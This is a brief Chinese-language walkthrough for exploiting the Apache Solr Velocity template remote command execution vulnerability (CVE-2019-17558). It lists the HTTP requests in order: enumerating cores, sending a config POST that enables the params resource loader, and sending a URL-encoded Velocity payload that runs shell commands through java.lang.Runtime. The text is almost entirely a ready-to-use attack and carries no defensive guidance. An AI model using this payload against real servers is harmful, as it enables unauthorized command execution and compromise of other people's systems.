Solr远程命令执行漏洞（CVE-2019-17558）

1、通过以下API获取所有内核名称

http://192.168.222.196:8983/solr/admin/cores?indexInfo=false&wt=json

 2、启用配置params.resource.loader.enabled，burpsuit抓包改包启动配置

POST /solr/demo/config HTTP/1.1
Host: 192.168.164.162:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

 3、通过Velocity模板执行命令，如pwd。修改exec(%27pwd%27)中的代码即可更改命令。

http://192.168.222.196:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27pwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end